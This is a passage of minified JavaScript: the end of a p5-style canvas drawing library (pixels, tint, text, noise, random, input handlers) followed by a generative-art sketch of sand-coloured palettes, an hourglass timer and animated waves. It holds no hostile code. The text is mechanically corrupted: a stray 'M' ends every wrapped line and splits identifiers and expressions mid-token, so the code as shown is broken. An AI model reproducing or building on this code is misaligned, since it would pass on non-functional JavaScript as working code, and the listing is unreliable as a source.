=function(e,t,a,r){if(null!=e&&null==a){let a=o.getImageData(e,t,1,1).data;return new n.Color(a[0],a[1],a[2],a[3]/255)}e=e||0,t=t||0,a=a||n.width,r=r||n.height;let i=n.createGraphics(a,r);i.pixelDensity(n._pixelDensity);let l=o.getImageData(e*n._pixelDensity,t*n._pixelDensity,a*n._pixelDensity,r*n._pixelDensity);return i.canvas.getContext("2d").putImageData(l,0,0),i};n.set=function(e,t,a){if(a.MAGIC==n.MAGIC){let o=n._tint;return n._tint=null,n.image(a,e,t),void(n._tint=o)}let r=4*(t*n._pixelDensity*o.canvas.width+M
e*n._pixelDensity);n.pixels[r]=a._r,n.pixels[r+1]=a._g,n.pixels[r+2]=a._b,n.pixels[r+3]=255*a._a};n.tinted=function(){let e=n.color(...Array.from(arguments)),t=e._a;e._a=1,w(),h.clearRect(0,0,h.canvas.width,h.canvas.height),h.fillStyle=e,h.fillRect(0,0,h.canvas.width,h.canvas.height),h.globalCompositeOperation="multiply",h.drawImage(o.canvas,0,0),h.globalCompositeOperation="source-over",o.save(),o.resetTransform();let a=o.globalCompositeOperation;o.globalCompositeOperation="source-in",o.drawImage(h.canvas,0,0),o.glM
obalCompositeOperation=a,o.restore(),h.globalAlpha=t,h.clearRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),h.globalAlpha=1,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()};n.tint=function(){n._tint=n.color(...Array.from(arguments))};n.noTint=function(){n._tint=null};n.mask=function(e){o.save(),o.resetTransform();let t=o.globalCompositeOperation;o.globalCompositeOperation="destination-in",o.drawImage(e.canvas,0,0),o.globalCompositeM
Operation=t,o.restore()};n.clearTemporaryBuffers=function(){h=null,f=null,d=null};n.save=function(e,t){e=e||"untitled",t=t||"png";var n=document.createElement("a");n.innerHTML="[Download]",n.addEventListener("click",function(){this.href=o.canvas.toDataURL(),this.download=e+"."+t},!1),document.body.appendChild(n),n.click(),document.body.removeChild(n)};n.saveCanvas=function(e,t,o){if(e.MAGIC==n.MAGIC){o&&e.save(t,o);let n=t.split(".");return e.save(n.slice(0,-1).join("."),n[n.length-1])}if(t)return n.save(e,t);let aM
=e.split(".");return n.save(a.slice(0,-1).join("."),a[a.length-1])};n.loadFont=function(e,t){let n=e.split("/"),o=n[n.length-1].split(".")[0].replace(" ",""),a=`@font-face {\n        font-family: '${o}';\n        src: url('${e}');\n      }`;const r=document.createElement("style");return r.textContent=a,document.head.append(r),o};n.textFont=function(e){n._textFont=e};n.textSize=function(e){n._textSize=e,n._textLeading=e};n.textLeading=function(e){n._textLeading=e};n.textStyle=function(e){n._textStyle=e};n.textAlign=M
function(e,t){o.textAlign=e,t&&(o.textBaseline=t==n.CENTER?"middle":t)};n.text=function(e,t,a,r){if(!e)return;if(e=e.toString(),n._noFill&&n._noStroke)return;o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`;let i=e.split("\n");for(let e=0;e<i.length;e++)n._noFill||o.fillText(i[e],t,a,r),n._noStroke||o.strokeText(i[e],t,a,r),a+=n._textLeading};n.textWidth=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).width};n.textAscent=function(e){return o.font=`${n._textStyle}M
 ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxAscent};n.textDescent=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxDescent};var E=4;var S=.5;var C=function(e){return.5*(1-Math.cos(e*Math.PI))};var A;n.noise=function(e,t,n){if(t=t||0,n=n||0,null==A){A=new Array(4096);for(var o=0;o<4096;o++)A[o]=Math.random()}e<0&&(e=-e),t<0&&(t=-t),n<0&&(n=-n);for(var a,r,i,l,u,s=Math.floor(e),c=Math.floor(t),h=Math.floor(n),f=e-s,d=t-c,p=n-h,m=0,g=M
.5,v=0;v<E;v++){var M=s+(c<<4)+(h<<8);a=C(f),r=C(d),i=A[4095&M],i+=a*(A[M+1&4095]-i),l=A[M+16&4095],l+=a*(A[M+16+1&4095]-l),i+=r*(l-i),l=A[4095&(M+=256)],l+=a*(A[M+1&4095]-l),u=A[M+16&4095],u+=a*(A[M+16+1&4095]-u),l+=r*(u-l),i+=C(p)*(l-i),m+=i*g,g*=S,s<<=1,c<<=1,h<<=1,(f*=2)>=1&&(s++,f--),(d*=2)>=1&&(c++,d--),(p*=2)>=1&&(h++,p--)}return m};n.noiseDetail=function(e,t){e>0&&(E=e),t>0&&(S=t)};const T=function(){let e,t,n=4294967295;return{setSeed(o){e=t=(null==o?Math.random()*n:o)>>>0},getSeed:()=>t,rand:()=>(e^=e<<17M
,e^=e>>13,((e^=e<<5)>>>0)/n)}};let D=T();D.setSeed();n.noiseSeed=function(e){let t=null==e?4294967295*Math.random():e;A||(A=new Float32Array(4096));for(var n=0;n<4096;n++)t^=t<<17,t^=t>>13,t^=t<<5,A[n]=(t>>>0)/4294967295};n.randomSeed=function(e){D.setSeed(e)};n.random=function(e,t){return"number"==typeof e?null!=t?D.rand()*(t-e)+e:D.rand()*e:e[~~(e.length*D.rand())]};n.randomGenerator=function(e){e==n.LCG?D=function(){const e=4294967296;let t,n;return{setSeed(o){n=t=(null==o?Math.random()*e:o)>>>0},getSeed:()=>t,rM
and:()=>(n=(1664525*n+1013904223)%e)/e}}():e==n.SHR3&&(D=T()),D.setSeed()};var P=new function(){var e,t,n,o=new Array(128),a=new Array(256),r=new Array(128),i=new Array(128),l=new Array(256),u=new Array(256),s=function(){return 4294967296*D.rand()-2147483648},c=function(){return.5+2.328306e-10*(s()<<0)},h=function(){for(var t,a,l,u,h=3.44262;;){if(t=n*r[e],0==e){do{l=c(),u=c(),t=.2904764*-Math.log(l),a=-Math.log(u)}while(a+a<t*t);return n>0?h+t:-h-t}if(i[e]+c()*(i[e-1]-i[e])<Math.exp(-.5*t*t))return t;if(n=s(),e=12M
7&n,Math.abs(n)<o[e])return n*r[e]}},f=function(){for(var n;;){if(0==e)return 7.69711-Math.log(c());if(n=t*l[e],u[e]+c()*(u[e-1]-u[e])<Math.exp(-n))return n;if((t=s())<a[e=255&t])return t*l[e]}};this.SHR3=s,this.UNI=c,this.RNOR=function(){return n=s(),e=127&n,Math.abs(n)<o[e]?n*r[e]:h()},this.REXP=function(){return(t=s()>>>0)<o[e=255&t]?t*l[e]:f()},this.zigset=function(){var e,t,n=2147483648,s=4294967296,c=3.442619855899,h=c,f=.00991256303526217,d=7.697117470131487,p=d,m=.003949659822581572;for(e=f/Math.exp(-.5*c*cM
),o[0]=Math.floor(c/e*n),o[1]=0,r[0]=e/n,r[127]=c/n,i[0]=1,i[127]=Math.exp(-.5*c*c),t=126;t>=1;t--)c=Math.sqrt(-2*Math.log(f/c+Math.exp(-.5*c*c))),o[t+1]=Math.floor(c/h*n),h=c,i[t]=Math.exp(-.5*c*c),r[t]=c/n;for(e=m/Math.exp(-d),a[0]=Math.floor(d/e*s),a[1]=0,l[0]=e/s,l[255]=d/s,u[0]=1,u[255]=Math.exp(-d),t=254;t>=1;t--)d=-Math.log(m/d+Math.exp(-d)),a[t+1]=Math.floor(d/p*s),p=d,u[t]=Math.exp(-d),l[t]=d/s}};P.hasInit=!1;n.randomGaussian=function(e,t){return P.hasInit||(P.zigset(),P.hasInit=!0),P.RNOR()*t+e};n.randomEM
xponential=function(){return P.hasInit||(P.zigset(),P.hasInit=!0),P.REXP()};n.print=console.log;n.cursor=function(e,t,o){let a="";e.includes(".")&&(e=`url("${e}")`,a=", auto"),null!=t&&(e+=" "+t+" "+o),n.canvas.style.cursor=e+a};n.noCursor=function(){n.canvas.style.cursor="none"};n.createCapture=function(e){var t=document.createElement("video");return t.playsinline="playsinline",t.autoplay="autoplay",navigator.mediaDevices.getUserMedia(e).then(function(e){t.srcObject=e}),t.style.position="absolute",t.style.opacity=M
1e-5,t.style.zIndex=-1e3,document.body.appendChild(t),t};let b=["setup","draw","preload","mouseMoved","mousePressed","mouseReleased","mouseDragged","mouseClicked","keyPressed","keyReleased","keyTyped","touchStarted","touchEnded"];for(let e of b){let t="_"+e+"Fn";n[t]=function(){},n[t].isPlaceHolder=!0,n[e]?n[t]=n[e]:Object.defineProperty(n,e,{set:function(e){n[t]=e}})}function z(){n._noLoop||(a=null==n._frameRate?requestAnimationFrame(z):setTimeout(z,1e3/n._frameRate)),x(),r=!0,o.save(),n._drawFn(),o.restore(),n.frM
ameCount++}n.noLoop=function(){n._noLoop=!0,a=null};n.loop=function(){n._noLoop=!1,null==a&&z()};n.redraw=function(){z()};n.frameRate=function(e){n._frameRate=e};setTimeout(function(){n._preloadFn(),c=window.performance.now(),function e(){if(u>0)return setTimeout(e,10);n._setupFn();z()}()},1);n.canvas.onmousemove=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed?n._mouseDraggedFn(e):n._mouseMovedFn(e)};n.canvas.onmousedown=function(e){n.pmouseX=n.mouseX,n.pmousM
eY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n.mouseButton=[n.LEFT,n.CENTER,n.RIGHT][e.button],n._mousePressedFn(e)};n.canvas.onmouseup=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!1,n._mouseReleasedFn(e)};n.canvas.onclick=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n._mouseClickedFn(e),n.mouseIsPressed=!1};window.addEventListener("keydown",function(e){n.keyIsPressed=M
!0,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!0,n._keyPressedFn(e),1==e.key.length&&n._keyTypedFn(e)});window.addEventListener("keyup",function(e){n.keyIsPressed=!1,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!1,n._keyReleasedFn(e)});n.keyIsDown=function(e){return!!s[e]};function O(e){const t=n.canvas.getBoundingClientRect(),o=n.canvas.scrollWidth/n.width||1,a=n.canvas.scrollHeight/n.height||1;return{x:(e.clientX-t.left)/o,y:(e.clientY-t.top)/a,id:e.identifier}}function k(){return n._touchStarted.isPlaceHolder&M
&n._touchMoved.isPlaceHolder&&n._touchEnded.isPlaceHolder}n.canvas.ontouchstart=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mousePressedFn(e)||e.preventDefault()),n._touchStartedFn(e)||e.preventDefault()};n.canvas.ontouchmove=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButtoM
n=n.LEFT,n._mouseDraggedFn(e)||e.preventDefault()),n._touchMovedFn(e)||e.preventDefault()};n.canvas.ontouchend=n.canvas.ontouchcancel=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!1,n._mouseReleasedFn(e)||e.preventDefault()),n._touchEndedFn(e)||e.preventDefault()};n.hasSensorPermission=!window.DeviceOrientationEvent&&!window.DeviceMotionEvent||!(DeviceOrientationEvent.requestPermission||DeviceMotionEvent.requestPeM
rmission);n.requestSensorPermissions=function(){DeviceOrientationEvent.requestPermission&&DeviceOrientationEvent.requestPermission().then(e=>{"granted"==e&&DeviceMotionEvent.requestPermission&&DeviceMotionEvent.requestPermission().then(e=>{"granted"==e&&(n.hasSensorPermission=!0)}).catch(alert)}).catch(alert)};window.ondeviceorientation=function(e){n.pRotationX=n.rotationX,n.pRotationY=n.rotationY,n.pRotationZ=n.rotationZ,n.pRelRotationX=n.relRotationX,n.pRelRotationY=n.relRotationY,n.pRelRotationZ=n.relRotationZ,nM
.rotationX=e.beta*(Math.PI/180),n.rotationY=e.gamma*(Math.PI/180),n.rotationZ=e.alpha*(Math.PI/180),n.relRotationX=[-n.rotationY,-n.rotationX,n.rotationY][1+~~(window.orientation/90)],n.relRotationY=[-n.rotationX,n.rotationY,n.rotationX][1+~~(window.orientation/90)],n.relRotationZ=n.rotationZ};window.ondevicemotion=function(e){if(n.pAccelerationX=n.accelerationX,n.pAccelerationY=n.accelerationY,n.pAccelerationZ=n.accelerationZ,!e.acceleration){let t=((e,t)=>[(e[0]*t[0]+e[1]*t[1]+e[2]*t[2]+e[3])/(e[12]*t[0]+e[13]*t[M
1]+e[14]*t[2]+e[15]),(e[4]*t[0]+e[5]*t[1]+e[6]*t[2]+e[7])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[8]*t[0]+e[9]*t[1]+e[10]*t[2]+e[11])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15])])(((e,t)=>[e[0]*t[0]+e[1]*t[4]+e[2]*t[8]+e[3]*t[12],e[0]*t[1]+e[1]*t[5]+e[2]*t[9]+e[3]*t[13],e[0]*t[2]+e[1]*t[6]+e[2]*t[10]+e[3]*t[14],e[0]*t[3]+e[1]*t[7]+e[2]*t[11]+e[3]*t[15],e[4]*t[0]+e[5]*t[4]+e[6]*t[8]+e[7]*t[12],e[4]*t[1]+e[5]*t[5]+e[6]*t[9]+e[7]*t[13],e[4]*t[2]+e[5]*t[6]+e[6]*t[10]+e[7]*t[14],e[4]*t[3]+e[5]*t[7]+e[6]*t[11]+e[7]*t[15M
],e[8]*t[0]+e[9]*t[4]+e[10]*t[8]+e[11]*t[12],e[8]*t[1]+e[9]*t[5]+e[10]*t[9]+e[11]*t[13],e[8]*t[2]+e[9]*t[6]+e[10]*t[10]+e[11]*t[14],e[8]*t[3]+e[9]*t[7]+e[10]*t[11]+e[11]*t[15],e[12]*t[0]+e[13]*t[4]+e[14]*t[8]+e[15]*t[12],e[12]*t[1]+e[13]*t[5]+e[14]*t[9]+e[15]*t[13],e[12]*t[2]+e[13]*t[6]+e[14]*t[10]+e[15]*t[14],e[12]*t[3]+e[13]*t[7]+e[14]*t[11]+e[15]*t[15]])((e=>[Math.cos(e),0,Math.sin(e),0,0,1,0,0,-Math.sin(e),0,Math.cos(e),0,0,0,0,1])(n.rotationY),(e=>[1,0,0,0,0,Math.cos(e),-Math.sin(e),0,0,Math.sin(e),Math.cos(e)M
,0,0,0,0,1])(n.rotationX)),[0,0,-9.80665]);n.accelerationX=e.accelerationIncludingGravity.x+t[0],n.accelerationY=e.accelerationIncludingGravity.y+t[1],n.accelerationZ=e.accelerationIncludingGravity.z-t[2]}};n.year=function(){return(new Date).getFullYear()};n.day=function(){return(new Date).getDay()};n.hour=function(){return(new Date).getHours()};n.minute=function(){return(new Date).getMinutes()};n.second=function(){return(new Date).getSeconds()};n.millis=function(){return window.performance.now()-c}}(e)}
or{static p;static SAND_COLOR_MODE=3;static getSandColorByIndex(e,t=0,i=30,s=50){e%=5;let a=[];var r,h,n;for(let e=0;e<5;e++){let t=e%5;1==Color.SAND_COLOR_MODE?a.push(o(t)):2==Color.SAND_COLOR_MODE?a.push(l(t)):3==Color.SAND_COLOR_MODE?a.push(d(t)):4==Color.SAND_COLOR_MODE?a.push(m(t)):5==Color.SAND_COLOR_MODE?a.push(p(t)):6==Color.SAND_COLOR_MODE?a.push(g(t)):7==Color.SAND_COLOR_MODE?a.push(c(t)):8==Color.SAND_COLOR_MODE?a.push(u(t)):9==Color.SAND_COLOR_MODE&&a.push(v(t))}return a[e];function o(e){return 0==e?(r=M
t+60,h=i+5,n=s+5):1==e?(r=t+30,h=i+5,n=s+9):2==e?(r=t,h=i,n=s):3==e?(r=t-30,h=i+5,n=s+9):4==e&&(r=t-60,h=i+5,n=s+5),r<0?r+=360:r>360&&(r-=360),chroma(r,h/100,n/100,"hsl")}function l(e){return r=t,0==e?(h=i,n=s+30):1==e?(h=i-30,n=s+8):2==e?(h=i,n=s):3==e?(h=i-30,n=s+30):4==e&&(h=i,n=s-20),h<10&&(h+=60),(0==e||3==e)&&n>100&&(n=s-50),chroma(r,h/100,n/100,"hsl")}function d(e){return 0==e?(r=t-120,h=i+10,n=s-30):1==e?(r=t+120,h=i-10,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t-120,h=i+10,n=s):4==e&&(r=t+120,h=i+10,n=s-30),r>360?r-M
=360:r<0&&(r+=360),h>100&&(h-=20),n>100&&(n-=30),chroma(r,h/100,n/100,"hsl")}function m(e){return 0==e?(r=t,h=i+10,n=s-30):1==e?(r=t,h=i-30,n=s+30):2==e?(r=t,h=i,n=s):3==e?(r=t-180,h=i+20,n=s-30):4==e&&(r=t-180,h=i,n=s),r<0&&(r+=360),chroma(r,h/100,n/100,"hsl")}function p(e){return 0==e?(r=t-150,h=i-10,n=s+30):1==e?(r=t-150,h=i-5,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t+150,h=i+10,n=s+30):4==e&&(r=t+150,h=i+5,n=s),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n>100&&(n-=60),chroma(r,h/100,n/100,"hsl")}function g(e){return 0==M
e?(r=t+60,h=i-5):1==e?(r=t+150,h=i-10):2==e?(r=t,h=i):3==e?(r=t-150,h=i+10):4==e&&(r=t-60,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function c(e){return 0==e?(r=t,h=i+20):1==e?(r=t+90,h=i-10):2==e?(r=t,h=i):3==e?(r=t+180,h=i+10):4==e&&(r=t-90,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function u(e){return 0==e?(r=t+30,h=i+10,n=s+20):1==e?(r=t+30,h=i+40,n=s+40):2==e?(r=t,h=i,n=s):3==e?(r=t+160,h=i+25,n=s+5):4==e&&(r=t+150,h=i+10,n=s+20),r>3M
60&&(r-=360),(0==e||4==e)&&h>100?h-=20:1==e&&h>90?h-=80:3==e&&h>60&&(h-=50),1==e&&n>100?n-=80:(0==e||4==e)&&n>100&&(n-=40),chroma(r,h/100,n/100,"hsl")}function v(e){return r=t,h=i,0==e?n=s-25:1==e?n=s+30:2==e?n=s:3==e?n=s+5:4==e&&(n=s-10),n>100&&(n-=80),chroma(r,h/100,n/100,"hsl")}}static chromaToArray=e=>[e._rgb[0],e._rgb[1],e._rgb[2],255*e._rgb[3]];static setColorMode=e=>{this.SAND_COLOR_MODE=e}}class Geometry{static slicePolyByY(e,t){let i=[];for(let s=0;s<e.length;s++){let a=e[s],r=s?e[s-1]:e.at(-1),h=a.y>=t;h!M
=r.y>=t&&i.push(Geometry.interWithY(r,a,t)),h&&i.push(a)}return i}static getAreaBelowY(e,t){return Geometry.getPolyArea(Geometry.slicePolyByY(e,t))}static getYByAreaBelow(e,t){let[i,s,a,r]=Geometry.getBoundingBox(e,"COORD"),h=s,n=r;for(let i=0;i<30;++i){let i=(h+n)/2;Geometry.getAreaBelowY(e,i)>t?h=i:n=i}return n}static interWithY(e,t,i){let s=e.copy(),a=t.copy(),r=createVector(-1e9,i),h=createVector(1e9,i);return Geometry.intersection(s,a,r,h)}static getPolyArea(e){let t=0;for(let i=0;i<e.length;i++){let s=e[i],a=M
e[(i+1)%e.length],r=createVector(s.x,s.y),h=createVector(a.x,a.y);t+=r.cross(h).z}return t=abs(t)/2,t}static getBoundingBox(e,t="SIZE"){let i=e[0].x,s=e[0].x,a=e[0].y,r=e[0].y;for(let t=0;t<e.length;t++)isNaN(e[t].y)||(a=min(a,e[t].y),r=max(r,e[t].y)),isNaN(e[t].x)||(i=min(i,e[t].x),s=max(s,e[t].x));return"SIZE"==t?[i,a,s-i,r-a]:"COORD"==t?[i,a,s,r]:[]}static intersection(e,t,i,s){let a=createVector(t.x-e.x,t.y-e.y),r=createVector(s.x-i.x,s.y-i.y),h=createVector(i.x-e.x,i.y-e.y),n=(a.copy().rotate(PI/2),r.copy().roM
tate(PI/2)),o=h.dot(n)/a.dot(n),l=a.mult(o);return createVector(e.x+l.x,e.y+l.y)}}class GraphicUtils{static applyMask(e,t){e.push(),e.noStroke(),e.blendMode(REMOVE),e.fill(255,255,255,255),e.beginShape(),e.vertex(0,0),e.vertex(0,e.height),e.vertex(e.width,e.height),e.vertex(e.width,0),e.beginContour();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endContour(),e.endShape(e.CLOSE),e.blendMode(BLEND),e.pop()}}class Hourglass{static TICK_INTERVAL=60;static ROTATE_INTERVAL=10/3;constructor(e,t){this.evolvePeriod=M
e.evolvePeriod,t.registerIterationChangeEvent(this.onIterationChange.bind(this));let i=t.getCurrentIteration();this.onIterationChange(i),this.update(new Date)}onIterationChange(e){this.flipped=e%2==1}getState(){return{top:this.top,rotation:this.rotation,flipped:this.flipped,timeSinceRotation:this.timeSinceRotation}}update(e){let t,i=0;if(traits.evolvePeriod==EvolvePeriod.HOURLY)t=3600,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.DAILY)t=86400,i+=60*e.geM
tHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.MONTHLY){let s=e.getFullYear(),a=e.getMonth()+1;t=24*new Date(s,a,0).getDate()*60*60,i+=24*(e.getDate()-1)*60*60,i+=60*e.getHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3}this.flipped?this.top=1-min(1,i/t):this.top=min(1,i/t),this.timeSinceRotation=max(0,i-Hourglass.ROTATE_INTERVAL);let s=Math.min(i,Hourglass.ROTATE_INTERVAL);this.rotation=this.flipped?PI:0,this.rotatM
ion+=s/Hourglass.ROTATE_INTERVAL*PI}}function getRandomInt(e,t){return floor(random(e,t))}function getRandomItem(e){let t=0;for(const i of e)t+=i[1];let i=random(t),s=0;for(const t of e)if(s+=t[1],i<s)return t[0];return null}function shuffle(e){for(let t=1;t<e.length;++t){let i=getRandomInt(0,t),s=e[t];e[t]=e[i],e[i]=s}}class PostProcessing{constructor(e,t,i){this.wCanvas=e,this.hCanvas=t,this.graphic=createGraphics(this.wCanvas,this.hCanvas),this.updateFilter(1)}updateFilter(e,t,i){this.graphic.fill(255,255,255,25M
5),this.graphic.blendMode(REMOVE),this.graphic.rect(0,0,this.wCanvas,this.hCanvas),this.graphic.blendMode(BLEND);let s,a=this.wCanvas/2,r=this.hCanvas/2,h=2*sqrt(a*a+r*r);s=a>r?sqrt(1-Math.pow(r/a,2)):sqrt(1-Math.pow(a/r,2));let n,o;if(1!=abs(e)){let t,i;3==abs(e)?(t=6,i=.6):10==abs(e)?(t=4,i=.5):60==abs(e)?(t=3,i=.4):3600==abs(e)&&(t=2,i=.3),o=i-.1,n=map(sin(Date.now()/1e3/t*TAU),-1,1,i-.1,i+.1)}else i?(o=1,n=1):(o=.75,n=.75);this.graphic.push(),this.graphic.ellipseMode(RADIUS),this.graphic.translate(a,r);for(let M
e=39;e>=0;e--){let t=(e+1)/40;if(1==o||map(t,o,1,0,1.2)<=0)break;let i=max(map(t,n,1,0,1.2),0),s=color(0,0,0,255*i);this.graphic.fill(s),this.graphic.noStroke(),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),e>0&&(t=e/40,this.graphic.fill(255,255,255,255),this.graphic.blendMode(REMOVE),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),this.graphic.blendMode(BLEND))}this.graphic.pop()}applyToMainCanvas(){image(this.graphic,0,0)}}class BackgroundRenderer{constructor(e,t,i,s,a,r){this.wCanvas=e.width,this.hCanvas=eM
.height,this.maxR=min(this.wCanvas,this.hCanvas)/1024,this.dx,this.yvalues,this.xvalues,this.xspacing1=[],this.thickness1=[],this.theta1=[],this.velocity1=[],this.sz1=[],this.xspacing2=[],this.thickness2=[],this.theta2=[],this.velocity2=[],this.sz2=[],this.xspacing3=[],this.thickness3=[],this.theta3=[],this.velocity3=[],this.sz3=[],this.xspacing4=[],this.thickness4=[],this.theta4=[],this.velocity4=[],this.sz4=[],this.c=[],this.num_waves=30,this._h=t,this._s=i,this._l=s,this.patternOrder=a.patternOrder,this.diagonalM
=sqrt(Math.pow(width,2)+Math.pow(height,2));let h=createVector(width,height).heading(),n=abs(PI/4-h);this.ty=this.diagonal/2*cos(n),this.waveSpeed=a.waveSpeed,this.wavePeriod=a.wavePeriod,this.waveHeight=a.waveHeight,this.evolvePeriod=a.evolvePeriod,this.evolvePeriod==EvolvePeriod.DAILY?this.num_lines=7:(this.evolvePeriod==EvolvePeriod.HOURLY||this.evolvePeriod==EvolvePeriod.MONTHLY)&&(this.num_lines=12),this.waveHeight==WaveHeight.SHORT?this.amplitude=getRandomInt(20,30):this.waveHeight==WaveHeight.MEDIUM?this.ampM
litude=getRandomInt(30,40):this.waveHeight==WaveHeight.TALL&&(this.amplitude=getRandomInt(40,50)),this.wavePeriod==WavePeriod.SHORT?this.period=getRandomInt(300,351):this.wavePeriod==WavePeriod.MEDIUM?this.period=getRandomInt(425,476):this.wavePeriod==WavePeriod.LONG&&(this.period=getRandomInt(600,651)),this.waveSpeed==WaveSpeed.SLOW?(this.min_speed=.003,this.max_speed=.005):this.waveSpeed==WaveSpeed.MEDIUM?(this.min_speed=.008,this.max_speed=.01):this.waveSpeed==WaveSpeed.FAST&&(this.min_speed=.015,this.max_speed=M
.018),this.thetaList=[0,1/4*PI,.5*PI,3/4*PI,PI],this.setupStaticWave(),this.setupDynamicWave(),r.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=r.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){randomSeed(100*e+1),shuffle(this.xspacing1),shuffle(this.thickness1),shuffle(this.theta1),shuffle(this.xspacing1),shuffle(this.velocity1),shuffle(this.xspacing2),shuffle(this.thickness2),shuffle(this.theta2),shuffle(this.xspacing2),shuffle(this.velocity2),shuffle(this.xspacing3),shM
uffle(this.thickness3),shuffle(this.theta3),shuffle(this.xspacing3),shuffle(this.velocity3),shuffle(this.xspacing4),shuffle(this.thickness4),shuffle(this.theta4),shuffle(this.xspacing4),shuffle(this.velocity4)}setupStaticWave(){for(let e=0;e<this.num_waves;e++){this.xspacing1.push(getRandomInt(5,50)),this.thickness1.push(getRandomInt(50,200)),this.theta1.push({value:random(this.thetaList)}),this.velocity1.push({value:random(this.min_speed,this.max_speed)}),this.sz1.push(random(.5,3)),this.xspacing2.push(getRandomInM
t(5,50)),this.thickness2.push(getRandomInt(50,200)),this.theta2.push({value:random(this.thetaList)}),this.velocity2.push({value:random(this.min_speed,this.max_speed)}),this.sz2.push(random(.5,3)),this.xspacing3.push(getRandomInt(5,50)),this.thickness3.push(getRandomInt(50,200)),this.theta3.push({value:random(this.thetaList)}),this.velocity3.push({value:random(this.min_speed,this.max_speed)}),this.sz3.push(random(.5,3)),this.xspacing4.push(getRandomInt(5,50)),this.thickness4.push(getRandomInt(50,200)),this.theta4.puM
sh({value:random(this.thetaList)}),this.velocity4.push({value:random(this.min_speed,this.max_speed)}),this.sz4.push(random(.5,3));let t=e%5;this.c.push(Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25))}}setupDynamicWave(){this.dynamicWave={h:random(this.hCanvas/3),xspacing:getRandomInt(5,20),thickness:getRandomInt(100,200),theta:{value:random(this.thetaList)},velocity:{value:random(this.min_speed,this.max_speed)},sz:random(1,3),num_lines:0},1==this.patternOrder[0]?this.dynamicWave.h=random(200,heM
ight-200):2==this.patternOrder[0]?this.dynamicWave.h=random(200,width-200):(3==this.patternOrder[0]||4==this.patternOrder[0])&&(this.dynamicWave.h=random(200,2*this.ty-200))}update(e){this.time=e}drawHorWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(width/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),tM
+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s];r<-2||r>height+2||e.square(a,r,n*this.maxR)}}}drawVerWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.xvalues=new Array(floor(height/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.xvalues.length;e++)this.xvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.xvalues.length;s++){let a=t+this.xvalues[s],r=s*iM
;a<-2||a>width+2||e.square(a,r,n*this.maxR)}}}drawDiaWave(e,t,i,s,a,r,h,n,o,l){let d=cos(-l),m=sin(-l);this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(this.diagonal/i));let p=this.time.getTime()/(1e3/60),g=r.value+h.value*p/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(g)*this.amplitude,g+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s],h=n*this.maxR,o=a-this.diagonal/2,l=r-this.tM
